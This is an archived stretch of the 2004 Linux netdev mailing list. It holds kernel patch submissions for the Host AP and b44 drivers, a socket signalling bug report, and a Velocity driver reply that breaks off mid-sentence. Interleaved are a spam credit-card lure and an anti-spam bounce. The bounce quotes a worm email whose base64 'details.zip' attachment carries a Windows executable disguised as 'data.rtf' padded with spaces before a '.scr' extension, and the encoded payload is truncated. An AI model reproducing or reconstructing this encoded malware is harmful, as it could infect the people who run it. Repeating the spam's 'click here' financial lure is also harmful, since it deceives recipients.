Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.5.6i X-archive-position: 5507 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jkmaline@cc.hut.fi Precedence: bulk X-list: netdev Finally, here's the first attempt at submitting Host AP code for wireless-2.6 tree. In addition, this could be considered for merging into linus-2.5 tree, so review and comments are very much welcome. Host AP code has lived in an external CVS repository for three years and is widely used. The included patch has minimal changes to the current tree (against 2.6.6, but should apply to different versions with some differences in line numbers) for including a new directory drivers/net/wireless/hostap. The contents of that new directory is a bit large for a patch file and since all the files are new, I made it available as a compressed tarball at http://hostap.epitest.fi/hostap-linux.tgz. This should be untarred in the root of the kernel tree (i.e., the file paths in the tarball start with drivers/net/wirelss/hostap/...). I removed most of the backwards (for Linux 2.4, pcmcia-cs modules, different wireless extensions versions) compatibility code. In addition, I replaced integrated implementations of ARC4, Michael MIC, and AES with crypto API. AES-CCM mode is still implemented in hostap_crypt_ccmp.c, but it could be moved at some point to crypto API as a new encryption mode. diff -ur linux-2.6.6.orig/MAINTAINERS linux-2.6.6/MAINTAINERS --- linux-2.6.6.orig/MAINTAINERS 2004-05-31 09:42:05.621596168 -0700 +++ linux-2.6.6/MAINTAINERS 2004-05-31 09:43:38.113535256 -0700 @@ -911,6 +911,13 @@ L: iss_storagedev@hp.com S: Supported +HOST AP DRIVER +P: Jouni Malinen +M: jkmaline@cc.hut.fi +L: hostap@shmoo.com +W: http://hostap.epitest.fi/ +S: Maintained + HP100: Driver for HP 10/100 Mbit/s Voice Grade Network Adapter Series P: Jaroslav Kysela M: perex@suse.cz diff -ur linux-2.6.6.orig/drivers/net/wireless/Kconfig linux-2.6.6/drivers/net/wireless/Kconfig --- linux-2.6.6.orig/drivers/net/wireless/Kconfig 2004-05-31 09:41:55.782092000 -0700 +++ linux-2.6.6/drivers/net/wireless/Kconfig 2004-05-29 20:18:11.000000000 -0700 @@ -355,6 +355,8 @@ say M here and read . The module will be called prism54.ko. +source "drivers/net/wireless/hostap/Kconfig" + # yes, this works even when no drivers are selected config NET_WIRELESS bool diff -ur linux-2.6.6.orig/drivers/net/wireless/Makefile linux-2.6.6/drivers/net/wireless/Makefile --- linux-2.6.6.orig/drivers/net/wireless/Makefile 2004-05-31 09:41:55.781092152 -0700 +++ linux-2.6.6/drivers/net/wireless/Makefile 2004-05-29 20:18:29.000000000 -0700 @@ -28,6 +28,8 @@ obj-$(CONFIG_PRISM54) += prism54/ +obj-$(CONFIG_HOSTAP) += hostap/ + # 16-bit wireless PCMCIA client drivers obj-$(CONFIG_PCMCIA_RAYCS) += ray_cs.o obj-$(CONFIG_PCMCIA_WL3501) += wl3501_cs.o -- Jouni Malinen PGP id EFC895FA From hbhvmacqmbfhkk@hotmail.com Mon May 31 12:29:08 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 31 May 2004 12:29:10 -0700 (PDT) Received: from m199.net81-64-119.noos.fr (m199.net81-64-119.noos.fr [81.64.119.199]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4VJSogi031356; Mon, 31 May 2004 12:28:59 -0700 X-Message-Info: HTTAaIB7zYCdUa31Si6+LQKYr6uQEED Received: from oaexwata26.cox.net ([14.68.215.253]) by nl55-q95.hotmail.com with Microsoft SMTPSVC(5.0.2195.6824); Mon, 31 May 2004 14:30:21 -0700 Received: from Dwightl10a2tex4s ([237.84.83.28]) by kxkferlw23.cox.net (InterMail vM.5.01.06.05 201-253-122-130-105-5322482) with SMTP id <56950819026360.HODD8281.gsjeumri11.cox.net@afraida56j9hud7t> for ; Mon, 31 May 2004 18:30:21 -0300 Message-ID: <286974q4u742$94627587$rw7t1598@Dwightn59u2vuo4w> From: "Rosalie Cope" To: Subject: records indicate that..pHj l Date: Mon, 31 May 2004 14:31:21 -0700 MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="--0668057180794785" X-archive-position: 5508 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: hbhvmacqmbfhkk@hotmail.com Precedence: bulk X-list: netdev ----0668057180794785 Content-Type: text/html; Content-Transfer-Encoding: quoted-printable
    Dear Friend, Records indicate that your financial status has made you eligible for = the VIPAdvantage Visa=AE offer. To receive your card, you must click = here to confirm that you are 18 years old and a U.S. Citizen.
     
    Congratula= tions,
    Manager VIP Advantage Processing Department

     

     

    for immediate r.emoval click here
    Adv: Garage Inc . 809 Fondeau Cl., Estepona, ES 11382

    ----0668057180794785-- From pp@ee.oulu.fi Mon May 31 13:21:07 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 31 May 2004 13:21:10 -0700 (PDT) Received: from ee.oulu.fi (ee.oulu.fi [130.231.61.23]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4VKL5gi000931 for ; Mon, 31 May 2004 13:21:06 -0700 Received: from tk28.oulu.fi (tk28 [130.231.48.68]) by ee.oulu.fi (8.12.10/8.12.10) with ESMTP id i4VKL4Rp029569 for ; Mon, 31 May 2004 23:21:04 +0300 (EEST) Received: (from pp@localhost) by tk28.oulu.fi (8.12.11/8.12.11/Submit) id i4VKL4EV008826 for netdev@oss.sgi.com; Mon, 31 May 2004 23:21:04 +0300 (EEST) Date: Mon, 31 May 2004 23:21:04 +0300 From: Pekka Pietikainen To: netdev@oss.sgi.com Subject: b44 and 4g4g Message-ID: <20040531202104.GA8301@ee.oulu.fi> Mime-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Disposition: inline User-Agent: Mutt/1.4.2i X-archive-position: 5509 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: pp@ee.oulu.fi Precedence: bulk X-list: netdev After diagnosing https://bugzilla.redhat.com/bugzilla/show_bug.cgi?id=118165 for a while it seems that bcm4401 is quite broken when DMA:ing from/to addresses that are > 1GB. This only is a problem with > 1GB of physical memory and when using a 4:4 split. It appears the network core code doesn't have a way of dealing with this situation cleanly, Arjan found this: static inline int illegal_highdma(struct net_device *dev, struct sk_buff *skb) { int i; if (dev->features & NETIF_F_HIGHDMA) return 0; for (i = 0; i < skb_shinfo(skb)->nr_frags; i++) if (skb_shinfo(skb)->frags[i].page >= highmem_start_page) return 1; return 0; } which doesn't take the pci dma mask into account at all, which it probably should. (Please correct me if I got details wrong, this is a bit over my head :-) ) Now, close your eyes and imagine you never saw this patch (which does go a bit overkill with the GFP_DMA's just-in-case), which demonstrates what's required to make even receives work :-( (trying to transmit causes the chip to do a link down/link up thing after a few packets, which would suggest it gets very confused). --- ../linux-2.6.6-1.391/net/core/dev.c 2004-05-26 15:29:13.000000000 +0300 +++ net/core/dev.c 2004-05-31 20:05:45.000000000 +0300 @@ -1197,7 +1197,7 @@ skb->ip_summed = CHECKSUM_NONE; return skb; } - +#if 0 #ifdef CONFIG_HIGHMEM /* Actually, we should eliminate this check as soon as we know, that: * 1. IOMMU is present and allows to map all the memory. @@ -1220,7 +1220,8 @@ #else #define illegal_highdma(dev, skb) (0) #endif - +#endif +#define illegal_highdma(dev, skb) (1) extern void skb_release_data(struct sk_buff *); /* Keep head the same: replace data */ --- ../linux-2.6.6-1.391/drivers/net/b44.c 2004-05-26 15:29:11.000000000 +0300 +++ drivers/net/b44.c 2004-05-31 22:38:20.249808096 +0300 @@ -634,7 +634,7 @@ src_map = &bp->rx_buffers[src_idx]; dest_idx = dest_idx_unmasked & (B44_RX_RING_SIZE - 1); map = &bp->rx_buffers[dest_idx]; - skb = dev_alloc_skb(RX_PKT_BUF_SZ); + skb = __dev_alloc_skb(RX_PKT_BUF_SZ,GFP_DMA); if (skb == NULL) return -ENOMEM; @@ -762,7 +762,7 @@ struct sk_buff *copy_skb; b44_recycle_rx(bp, cons, bp->rx_prod); - copy_skb = dev_alloc_skb(len + 2); + copy_skb = __dev_alloc_skb(len + 2,GFP_DMA); if (copy_skb == NULL) goto drop_it_no_recycle; @@ -1077,13 +1077,13 @@ int size; size = B44_RX_RING_SIZE * sizeof(struct ring_info); - bp->rx_buffers = kmalloc(size, GFP_KERNEL); + bp->rx_buffers = kmalloc(size, GFP_DMA|GFP_KERNEL); if (!bp->rx_buffers) goto out_err; memset(bp->rx_buffers, 0, size); size = B44_TX_RING_SIZE * sizeof(struct ring_info); - bp->tx_buffers = kmalloc(size, GFP_KERNEL); + bp->tx_buffers = kmalloc(size, GFP_DMA|GFP_KERNEL); if (!bp->tx_buffers) goto out_err; memset(bp->tx_buffers, 0, size); @@ -1727,7 +1727,13 @@ pci_set_master(pdev); - err = pci_set_dma_mask(pdev, (u64) 0xffffffff); + err = pci_set_dma_mask(pdev, (u64) 0x3fffffff); + if (err) { + printk(KERN_ERR PFX "No usable DMA configuration, " + "aborting.\n"); + goto err_out_free_res; + } + err = pci_set_consistent_dma_mask(pdev, (u64) 0x3fffffff); if (err) { printk(KERN_ERR PFX "No usable DMA configuration, " "aborting.\n"); From webmaster-qconfirm@tenberry.com Mon May 31 14:26:56 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 31 May 2004 14:27:01 -0700 (PDT) Received: from tenberry.com (tenberry.com [64.246.28.20]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4VLQtgi002533 for ; Mon, 31 May 2004 14:26:56 -0700 Received: (qmail 6788 invoked by uid 517); 31 May 2004 11:22:11 -0000 Date: 31 May 2004 11:22:11 -0000 Message-ID: <20040531112211.6787.qmail@tenberry.com> From: "qconfirm" To: netdev@oss.sgi.com Subject: Please confirm your message X-archive-position: 5510 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: webmaster-qconfirm-ddfaa155141b682ab501e4a5dcd6855f@tenberry.com Precedence: bulk X-list: netdev Hello, this is the Tenberry anti-SPAM program (qconfirm). Because of the volume of SPAM sent to 'webmaster@tenberry.com', we have decided to require confirmation that incoming message(s) are legitimate and not junk-mail. One or more messages to 'webmaster@tenberry.com' from you are being held because your address is not yet recorded as valid. To release your pending message(s) for delivery, and to insure that any future messages from you are not held up, please reply to this email. Your reply will not be read, so an empty message is fine. So is hitting the 'reply' and then 'send' buttons in your email client. If you do not reply to this email, your message(s) will eventually be returned to you, and will never be delivered to 'webmaster@tenberry.com'. Regards, the Tenberry anti-SPAM program. --- Below this line is the top of a message from you. Received: (qmail 6776 invoked from network); 31 May 2004 11:22:08 -0000 Received: from unknown (HELO tenberry.com) (61.95.203.76) by tenberry.com with SMTP; 31 May 2004 11:22:08 -0000 From: netdev@oss.sgi.com To: webmaster@tenberry.com Subject: Date: Mon, 31 May 2004 16:49:31 +0530 MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="----=_NextPart_000_0016----=_NextPart_000_0016" X-Priority: 3 X-MSMail-Priority: Normal This is a multi-part message in MIME format. ------=_NextPart_000_0016----=_NextPart_000_0016 Content-Type: text/plain; charset="Windows-1252" Content-Transfer-Encoding: 7bit ------=_NextPart_000_0016----=_NextPart_000_0016 Content-Type: application/octet-stream; name="details.zip" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="details.zip" 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 YI From akpm@osdl.org Mon May 31 15:19:26 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 31 May 2004 15:19:34 -0700 (PDT) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4VMJOgi003967 for ; Mon, 31 May 2004 15:19:26 -0700 Received: from bix (build.pdx.osdl.net [172.20.1.2]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id i4VMJIr08796; Mon, 31 May 2004 15:19:18 -0700 Date: Mon, 31 May 2004 15:18:43 -0700 From: Andrew Morton To: netdev@oss.sgi.com Cc: Russell Leighton Subject: Fw: F_SETSIG broken/changed in 2.6 for UDP and TCP sockets? Message-Id: <20040531151843.7144dfce.akpm@osdl.org> X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.10; i386-redhat-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 5511 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: akpm@osdl.org Precedence: bulk X-list: netdev Begin forwarded message: Date: Mon, 31 May 2004 14:45:08 -0400 From: Russell Leighton To: linux-kernel@vger.kernel.org Subject: F_SETSIG broken/changed in 2.6 for UDP and TCP sockets? I have a program that works fine under stock rh9 (2.4.2-8) but has issues getting signaled under FedoraCore2 (2.6.5-1.358) using SETSIG to a Posix RT signal. The program does the standard: /* hook to process */ if ( fcntl(fdcallback->fd, F_SETOWN, mon->handler_q.thread->pid) == -1 ) { aw_log(fdcallback->handler->logger, AW_ERROR_LOG_LEVEL, "cannot set owner on fd (%s)", strerror(errno)); }/* end if */ /* make async */ if ( fcntl(fdcallback->fd, F_SETFL, (O_NONBLOCK | O_ASYNC) ) == -1 ) { aw_log(fdcallback->handler->logger, AW_ERROR_LOG_LEVEL, "cannot set async on fd (%s)", strerror(errno)); }/* end if */ /* hook to signal */ if ( fcntl(fdcallback->fd, F_SETSIG, AW_SIG_FD) == -1 ) { aw_log(fdcallback->handler->logger, AW_ERROR_LOG_LEVEL, "cannot set signal on fd (%s)", strerror(errno)); }/* end if */ Under Fedora things work well for raw sockets (much lower latency than in 2.4!) but are inconsistent with udp or tcp sockets. In the udp case, I when I listen for multicast packets my app only receives them when I am running a tcpdump (bizarre!). In the tcp case, I don't get signaled if I do the F_SETSIG on more than 1 fd. Any tips on tracking this down would be much appreciated. Thx Russ - To unsubscribe from this list: send the line "unsubscribe linux-kernel" in the body of a message to majordomo@vger.kernel.org More majordomo info at http://vger.kernel.org/majordomo-info.html Please read the FAQ at http://www.tux.org/lkml/ From romieu@fr.zoreil.com Mon May 31 15:37:27 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 31 May 2004 15:37:35 -0700 (PDT) Received: from fr.zoreil.com (electric-eye.fr.zoreil.com [213.41.134.224]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4VMbPgi004658 for ; Mon, 31 May 2004 15:37:26 -0700 Received: from electric-eye.fr.zoreil.com (localhost.localdomain [127.0.0.1]) by fr.zoreil.com (8.12.8/8.12.1) with ESMTP id i4VMZ4uX021992; Tue, 1 Jun 2004 00:35:04 +0200 Received: (from romieu@localhost) by electric-eye.fr.zoreil.com (8.12.8/8.12.1) id i4VMZ3qP021991; Tue, 1 Jun 2004 00:35:03 +0200 Date: Tue, 1 Jun 2004 00:35:03 +0200 From: Francois Romieu To: Alan Cox Cc: netdev@oss.sgi.com Subject: [PATCH] Re: VIA "Velocity" Gigabit ethernet driver Message-ID: <20040601003503.A19358@electric-eye.fr.zoreil.com> References: <20040526174018.GA29119@devserv.devel.redhat.com> Mime-Version: 1.0 Content-Type: multipart/mixed; boundary="FL5UXtIhxfXey3p5" Content-Disposition: inline User-Agent: Mutt/1.2.5.1i In-Reply-To: <20040526174018.GA29119@devserv.devel.redhat.com>; from alan@redhat.com on Wed, May 26, 2004 at 01:40:18PM -0400 X-Organisation: Land of Sunshine Inc. X-archive-position: 5512 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: romieu@fr.zoreil.com Precedence: bulk X-list: netdev --FL5UXtIhxfXey3p5 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Alan Cox : > A cleaned up and 2.6 ported VIA velocity driver is now available on > ftp://people/redhat.com/alan/Kernel/. This is an initial clean up and > port to 2.6. It isn't by any means polished yet. Please send test results > and patches to me (I don't currently read linux-kernel). Some polish attached. I'll probably do the rx_copybreak thing as well as some pci_dma_sync_single_for_{cpu/device} if nobody beats me. Apparently there's no documentation available for the 